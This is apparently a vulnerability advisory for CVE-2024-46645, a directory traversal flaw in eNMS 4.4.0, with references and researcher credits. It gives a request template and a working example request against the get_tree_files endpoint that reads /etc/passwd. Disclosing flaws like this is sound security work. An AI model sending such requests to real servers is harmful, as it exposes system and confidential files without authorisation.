# **CVE-2024-46645**



# Details
* **Vulnerability Type**: eNMS 4.4.0 Directory Traversal via get_tree_files
* **Affected Application**: eNMS
* **Affected Versions**: 4.4.0
* **Affected Component**: /get_tree_files/>[DIR]
* **Impact**: Unauthorized access to sensitive files, potential exposure of confidential information.

##  ```GET /get_tree_files/>[DIR]>[FILE]```

```
GET /get_tree_files/>etc/>passwd
```

# References
https://nvd.nist.gov/vuln/detail/CVE-2024-46645 <br>
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-46645 <br>
# Credits
**Andrea Pessione** and **Manuel Scala** - SK IT Cyber Security<br></br>
<a href="https://sk-it.com/"><img src="img/skit_logo.png" width="300">